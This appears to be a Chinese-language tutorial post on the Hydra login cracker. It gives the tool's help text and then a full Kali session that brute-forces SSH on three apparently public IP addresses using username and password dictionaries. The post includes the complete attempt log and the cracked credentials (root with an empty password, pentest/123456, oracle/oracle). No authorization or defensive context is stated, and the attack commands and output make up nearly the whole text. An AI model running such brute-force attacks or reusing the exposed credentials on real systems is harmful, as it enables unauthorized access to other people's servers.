安全工具-Hydra
Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SOuvVd46] [service://server[:PORT][/OPT]]
Options:
-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE try password PASS, or load several passwords from FILE
-C FILE colon separated "login:pass" format, instead of -L/-P options
-M FILE list of servers to attack, one entry per line, ':' to specify port
-t TASKS run TASKS number of connects in parallel (per host, default: 16)
-U service module usage details
-h more command line options (COMPLETE HELP)
server the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
service the service to crack (see below for supported protocols)
OPT some service modules support additional input (-U for module help)
Supported services: asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp redis rexec rlogin rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL
v3.0. The newest version is always available at http://www.thc.org/thc-hydra
Don't use in military or secret service organizations, or for illegal purposes.
Example: hydra -l user -P passlist.txt ftp://192.168.0.1
# 待破解的主机列表
root@kali:~# cat serverlist
189.37.178.1 189.37.178.216 189.37.178.98
# 破解主机的ssh用户名密码
root@kali:~# hydra -L ssh_user.dic -P ssh_pass.dic -t 5 -vV -o ./output.txt -e ns -M serverlist ssh
Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (http://www.thc.org/thc-hydra) starting at 2017-08-06 23:33:06 [WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort... [DATA] max 5 tasks per 3 servers, overall 64 tasks, 36 login tries (l:4/p:9), ~0 tries per task [DATA] attacking service ssh on port 22 [VERBOSE] Resolving addresses ... done [INFO] Testing if password authentication is supported by ssh://189.37.178.47:22 [INFO] Successful, password authentication is supported by ssh://189.37.178.47:22 [INFO] Testing if password authentication is supported by ssh://189.37.178.216:22 [INFO] Successful, password authentication is supported by ssh://189.37.178.216:22 [INFO] Testing if password authentication is supported by ssh://189.37.178.98:22 [INFO] Successful, password authentication is supported by ssh://189.37.178.98:22 [ATTEMPT] target 189.37.178.1 - login "root" - pass "root" - 1 of 36 [child 0] [ATTEMPT] target 189.37.178.216 - login "root" - pass "root" - 1 of 36 [child 1] [ATTEMPT] target 189.37.178.98 - login "root" - pass "root" - 1 of 36 [child 2] [ATTEMPT] target 189.37.178.1 - login "root" - pass "" - 2 of 36 [child 3] [ATTEMPT] target 189.37.178.216 - login "root" - pass "" - 2 of 36 [child 4] [ATTEMPT] target 189.37.178.98 - login "root" - pass "" - 2 of 36 [child 5] [ATTEMPT] target 189.37.178.1 - login "root" - pass "123456" - 3 of 36 [child 6] [ATTEMPT] target 189.37.178.216 - login "root" - pass "123456" - 3 of 36 [child 7] [ATTEMPT] target 189.37.178.98 - login "root" - pass "123456" - 3 of 36 [child 8] [ATTEMPT] target 189.37.178.1 - login "root" - pass "toor" - 4 of 36 [child 9] [ATTEMPT] target 189.37.178.216 - login "root" - pass "toor" - 4 of 36 [child 10] [ATTEMPT] target 189.37.178.98 - login "root" - pass "toor" - 4 of 36 [child 11] [ATTEMPT] target 189.37.178.1 - login "root" - pass "oracle123" - 5 of 36 [child 12] [ATTEMPT] target 189.37.178.216 - login "root" - pass "oracle123" - 5 of 36 [child 13] [ATTEMPT] target 189.37.178.98 - login "root" - pass "oracle123" - 5 of 36 [child 14] [ATTEMPT] target 189.37.178.1 - login "root" - pass "111111" - 6 of 36 [child 3] [ATTEMPT] target 189.37.178.216 - login "root" - pass "111111" - 6 of 36 [child 4] [22][ssh] host:189.37.178.98 login: root [ATTEMPT] target 189.37.178.98 - login "admin" - pass "admin" - 10 of 36 [child 5] [ATTEMPT] target 189.37.178.98 - login "admin" - pass "" - 11 of 36 [child 2] [ATTEMPT] target 189.37.178.98 - login "admin" - pass "123456" - 12 of 36 [child 8] [ATTEMPT] target 189.37.178.98 - login "admin" - pass "toor" - 13 of 36 [child 14] [ATTEMPT] target 189.37.178.98 - login "admin" - pass "oracle123" - 14 of 36 [child 11] [ATTEMPT] target 189.37.178.98 - login "admin" - pass "111111" - 15 of 36 [child 5] [ATTEMPT] target 189.37.178.1 - login "root" - pass "oracle" - 7 of 36 [child 12] [ATTEMPT] target 189.37.178.1 - login "root" - pass "222222" - 8 of 36 [child 3] [ATTEMPT] target 189.37.178.1 - login "root" - pass "444444" - 9 of 36 [child 6] [ATTEMPT] target 189.37.178.1 - login "admin" - pass "admin" - 10 of 36 [child 0] [ATTEMPT] target 189.37.178.1 - login "admin" - pass "" - 11 of 36 [child 9] [ATTEMPT] target 189.37.178.1 - login "admin" - pass "123456" - 12 of 36 [child 9] [ATTEMPT] target 189.37.178.98 - login "admin" - pass "oracle" - 16 of 36 [child 2] [ATTEMPT] target 189.37.178.216 - login "root" - pass "oracle" - 7 of 36 [child 7] [ATTEMPT] target 189.37.178.216 - login "root" - pass "222222" - 8 of 36 [child 4] [ATTEMPT] target 189.37.178.216 - login "root" - pass "444444" - 9 of 36 [child 13] [ATTEMPT] target 189.37.178.216 - login "admin" - pass "admin" - 10 of 36 [child 10] [ATTEMPT] target 189.37.178.98 - login "admin" - pass "222222" - 17 of 36 [child 5] [ATTEMPT] target 189.37.178.98 - login "admin" - pass "444444" - 18 of 36 [child 14] [ATTEMPT] target 189.37.178.98 - login "pentest" - pass "pentest" - 19 of 36 [child 8] [ATTEMPT] target 189.37.178.98 - login "pentest" - pass "" - 20 of 36 [child 11] [ATTEMPT] target 189.37.178.98 - login "pentest" - pass "123456" - 21 of 36 [child 2] [ATTEMPT] target 189.37.178.1 - login "admin" - pass "toor" - 13 of 36 [child 0] [ATTEMPT] target 189.37.178.1 - login "admin" - pass "oracle123" - 14 of 36 [child 9] [ATTEMPT] target 189.37.178.98 - login "pentest" - pass "toor" - 22 of 36 [child 5] [ATTEMPT] target 189.37.178.98 - login "pentest" - pass "oracle123" - 23 of 36 [child 14] [ATTEMPT] target 189.37.178.98 - login "pentest" - pass "111111" - 24 of 36 [child 11] [ATTEMPT] target 189.37.178.98 - login "pentest" - pass "oracle" - 25 of 36 [child 8] [ATTEMPT] target 189.37.178.1 - login "admin" - pass "111111" - 15 of 36 [child 12] [ATTEMPT] target 189.37.178.1 - login "admin" - pass "oracle" - 16 of 36 [child 3] [ATTEMPT] target 189.37.178.1 - login "admin" - pass "222222" - 17 of 36 [child 6] [ATTEMPT] target 189.37.178.98 - login "pentest" - pass "222222" - 26 of 36 [child 2] [ATTEMPT] target 189.37.178.216 - login "admin" - pass "" - 11 of 36 [child 7] [ATTEMPT] target 189.37.178.216 - login "admin" - pass "123456" - 12 of 36 [child 4] [ATTEMPT] target 189.37.178.216 - login "admin" - pass "toor" - 13 of 36 [child 13] [ATTEMPT] target 189.37.178.216 - login "admin" - pass "oracle123" - 14 of 36 [child 10] [ATTEMPT] target 189.37.178.98 - login "pentest" - pass "444444" - 27 of 36 [child 5] [ATTEMPT] target 189.37.178.98 - login "oracle" - pass "oracle" - 28 of 36 [child 11] [ATTEMPT] target 189.37.178.98 - login "oracle" - pass "" - 29 of 36 [child 14] [ATTEMPT] target 189.37.178.98 - login "oracle" - pass "123456" - 30 of 36 [child 8] [ATTEMPT] target 189.37.178.1 - login "admin" - pass "444444" - 18 of 36 [child 9] [ATTEMPT] target 189.37.178.1 - login "pentest" - pass "pentest" - 19 of 36 [child 0] [ATTEMPT] target 189.37.178.98 - login "oracle" - pass "toor" - 31 of 36 [child 2] [ATTEMPT] target 189.37.178.1 - login "pentest" - pass "" - 20 of 36 [child 12] [ATTEMPT] target 189.37.178.1 - login "pentest" - pass "123456" - 21 of 36 [child 3] [ATTEMPT] target 189.37.178.1 - login "pentest" - pass "toor" - 22 of 36 [child 6] [ATTEMPT] target 189.37.178.1 - login "pentest" - pass "oracle123" - 23 of 36 [child 12] [22][ssh] host:189.37.178.1 login: pentest password: 123456 [ATTEMPT] target 189.37.178.1 - login "oracle" - pass "oracle" - 28 of 36 [child 3] [ATTEMPT] target 189.37.178.98 - login "oracle" - pass "oracle123" - 32 of 36 [child 5] [ATTEMPT] target 189.37.178.98 - login "oracle" - pass "111111" - 33 of 36 [child 11] [ATTEMPT] target 189.37.178.98 - login "oracle" - pass "222222" - 35 of 36 [child 14] [ATTEMPT] target 189.37.178.98 - login "oracle" - pass "444444" - 36 of 36 [child 8] [STATUS] attack finished for189.37.178.98 (waiting for children to complete tests) [ATTEMPT] target 189.37.178.1 - login "oracle" - pass "" - 29 of 36 [child 9] [ATTEMPT] target 189.37.178.1 - login "oracle" - pass "123456" - 30 of 36 [child 9] [ATTEMPT] target 189.37.178.1 - login "oracle" - pass "toor" - 31 of 36 [child 0] [ATTEMPT] target 189.37.178.1 - login "oracle" - pass "oracle123" - 32 of 36 [child 12] [ATTEMPT] target 189.37.178.1 - login "oracle" - pass "111111" - 33 of 36 [child 6] [ATTEMPT] target 189.37.178.216 - login "admin" - pass "111111" - 15 of 36 [child 4] [ATTEMPT] target 189.37.178.216 - login "admin" - pass "oracle" - 16 of 36 [child 13] [ATTEMPT] target 189.37.178.216 - login "admin" - pass "222222" - 17 of 36 [child 10] [ATTEMPT] target 189.37.178.1 - login "oracle" - pass "222222" - 35 of 36 [child 3] [ATTEMPT] target 189.37.178.216 - login "admin" - pass "444444" - 18 of 36 [child 4] [ATTEMPT] target 189.37.178.216 - login "pentest" - pass "pentest" - 19 of 36 [child 13] [ATTEMPT] target 189.37.178.216 - login "pentest" - pass "" - 20 of 36 [child 10] [ATTEMPT] target 189.37.178.1 - login "oracle" - pass "444444" - 36 of 36 [child 0] [STATUS] attack finished for189.37.178.1 (waiting for children to complete tests) [ATTEMPT] target 189.37.178.216 - login "pentest" - pass "123456" - 21 of 36 [child 1] [ATTEMPT] target 189.37.178.216 - login "pentest" - pass "toor" - 22 of 36 [child 4] [ATTEMPT] target 189.37.178.216 - login "pentest" - pass "oracle123" - 23 of 36 [child 1] [ATTEMPT] target 189.37.178.216 - login "pentest" - pass "111111" - 24 of 36 [child 1] [ATTEMPT] target 189.37.178.216 - login "pentest" - pass "oracle" - 25 of 36 [child 7] [ATTEMPT] target 189.37.178.216 - login "pentest" - pass "222222" - 26 of 36 [child 1] [ATTEMPT] target 189.37.178.216 - login "pentest" - pass "444444" - 27 of 36 [child 7] [ATTEMPT] target 189.37.178.216 - login "oracle" - pass "oracle" - 28 of 36 [child 1] [ATTEMPT] target 189.37.178.216 - login "oracle" - pass "" - 29 of 36 [child 7] [22][ssh] host:189.37.178.216 login: oracle password: oracle [STATUS] attack finished for189.37.178.216 (waiting for children to complete tests) 3 of 3 targets successfully completed, 3 valid passwords found Hydra (http://www.thc.org/thc-hydra) finished at 2017-08-06 23:33:41
# 查看output.txt即可查看已破解成功的列表
root@kali:~# cat output.txt # Hydra v8.2 run at 2017-08-06 23:14:40 on serverlist ssh (hydra -L ssh_user.dic -P ssh_pass.dic -t 5 -vV -o ./output.txt -e ns -M serverlist ssh) [22][ssh] host: 189.37.178.98 login: root [22][ssh] host: 189.37.178.1 login: pentest password: 123456 [22][ssh] host: 189.37.178.216 login: oracle password: oracle
